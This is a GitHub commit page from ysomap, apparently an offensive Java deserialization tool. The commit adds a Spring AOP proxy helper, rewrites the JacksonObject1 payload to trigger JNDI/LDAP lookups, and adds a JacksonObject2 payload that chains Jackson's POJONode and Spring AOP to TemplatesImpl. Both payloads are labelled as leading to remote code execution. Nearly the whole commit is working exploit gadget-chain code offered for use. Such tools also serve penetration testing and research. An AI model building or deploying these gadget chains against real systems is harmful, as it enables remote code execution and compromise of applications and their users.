Skip to content

Commit 76e58d4

Browse files
committed
update jackson
1 parent 541b50e commit 76e58d4

File tree

3 files changed

+53
-18
lines changed

3 files changed

+53
-18
lines changed

core/src/main/java/ysomap/core/util/PayloadHelper.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import com.sun.org.apache.bcel.internal.classfile.Utility;
44
import com.sun.org.apache.xpath.internal.objects.XString;
55
import org.apache.shiro.subject.SimplePrincipalCollection;
6+
import org.springframework.aop.framework.AdvisedSupport;
67

78
import javax.swing.event.EventListenerList;
89
import javax.swing.undo.UndoManager;
@@ -46,6 +47,15 @@ public static <T> T createProxy ( final InvocationHandler ih, final Class<T> ifa
4647
return iface.cast(Proxy.newProxyInstance(PayloadHelper.class.getClassLoader(), allIfaces, ih));
4748
}
4849

50+
public static Object makeSpringAOPProxy(Class<?> clazz, Object obj) throws Exception {
51+
AdvisedSupport advisedSupport = new AdvisedSupport();
52+
advisedSupport.setTarget(obj);
53+
InvocationHandler handler =
54+
(InvocationHandler) ReflectionHelper.createWithoutConstructor("org.springframework.aop.framework.JdkDynamicAopProxy");
55+
ReflectionHelper.setFieldValue(handler, "advised", advisedSupport);
56+
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
57+
}
58+
4959

5060
public static Map<String, Object> createMap ( final String key, final Object val ) {
5161
final Map<String, Object> map = new HashMap<>();
Lines changed: 6 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,12 @@
11
package ysomap.payloads.java.jackson;
22

33
import com.fasterxml.jackson.databind.node.POJONode;
4-
import org.springframework.aop.framework.AdvisedSupport;
54
import ysomap.bullets.Bullet;
6-
import ysomap.bullets.jdk.TemplatesImplBullet;
5+
import ysomap.bullets.jdk.LdapAttributeBullet;
76
import ysomap.common.annotation.*;
87
import ysomap.core.util.PayloadHelper;
9-
import ysomap.core.util.ReflectionHelper;
108
import ysomap.payloads.AbstractPayload;
119

12-
import javax.xml.transform.Templates;
13-
import java.lang.reflect.InvocationHandler;
14-
import java.lang.reflect.Proxy;
15-
1610
/**
1711
* @author whocansee
1812
* @since 2023/10/7
@@ -22,25 +16,19 @@
2216
@SuppressWarnings({"rawtypes"})
2317
@Authors({ Authors.whocansee })
2418
@Targets({Targets.JDK})
25-
@Require(bullets = {"TemplatesImplBullet"}, param = false)
26-
@Dependencies({"spring-aop", "jackson"})
27-
@Details("jackson & spring-aop trigger templates to rce")
19+
@Require(bullets = {"LdapAttributeBullet"}, param = false)
20+
@Dependencies({"jackson"})
21+
@Details("jackson trigger jndi to rce")
2822
public class JacksonObject1 extends AbstractPayload<Object> {
2923

3024
@Override
3125
public Bullet getDefaultBullet(Object... args) throws Exception {
32-
return TemplatesImplBullet.newInstance(args);
26+
return LdapAttributeBullet.newInstance(args);
3327
}
3428

3529
@Override
3630
public Object pack(Object obj) throws Exception {
37-
AdvisedSupport advisedSupport = new AdvisedSupport();
38-
advisedSupport.setTarget(obj);
39-
InvocationHandler handler =
40-
(InvocationHandler) ReflectionHelper.createWithoutConstructor("org.springframework.aop.framework.JdkDynamicAopProxy");
41-
ReflectionHelper.setFieldValue(handler, "advised", advisedSupport);
42-
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
43-
POJONode node = new POJONode(proxy);
31+
POJONode node = new POJONode(obj);
4432
return PayloadHelper.makeReadObjectToStringTrigger(node);
4533
}
4634
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package ysomap.payloads.java.jackson;
2+
3+
import com.fasterxml.jackson.databind.node.POJONode;
4+
import ysomap.bullets.Bullet;
5+
import ysomap.bullets.jdk.TemplatesImplBullet;
6+
import ysomap.common.annotation.*;
7+
import ysomap.core.util.PayloadHelper;
8+
import ysomap.payloads.AbstractPayload;
9+
10+
import javax.xml.transform.Templates;
11+
12+
/**
13+
* @author whocansee
14+
* @since 2023/10/7
15+
* https://xz.aliyun.com/t/12846
16+
*/
17+
@Payloads
18+
@SuppressWarnings({"rawtypes"})
19+
@Authors({ Authors.whocansee })
20+
@Targets({Targets.JDK})
21+
@Require(bullets = {"TemplatesImplBullet"}, param = false)
22+
@Dependencies({"spring-aop", "jackson"})
23+
@Details("jackson & spring-aop trigger templates to rce")
24+
public class JacksonObject2 extends AbstractPayload<Object> {
25+
26+
@Override
27+
public Bullet getDefaultBullet(Object... args) throws Exception {
28+
return TemplatesImplBullet.newInstance(args);
29+
}
30+
31+
@Override
32+
public Object pack(Object obj) throws Exception {
33+
Object proxy = PayloadHelper.makeSpringAOPProxy(Templates.class, obj);;
34+
POJONode node = new POJONode(proxy);
35+
return PayloadHelper.makeReadObjectToStringTrigger(node);
36+
}
37+
}

0 commit comments

Comments
 (0)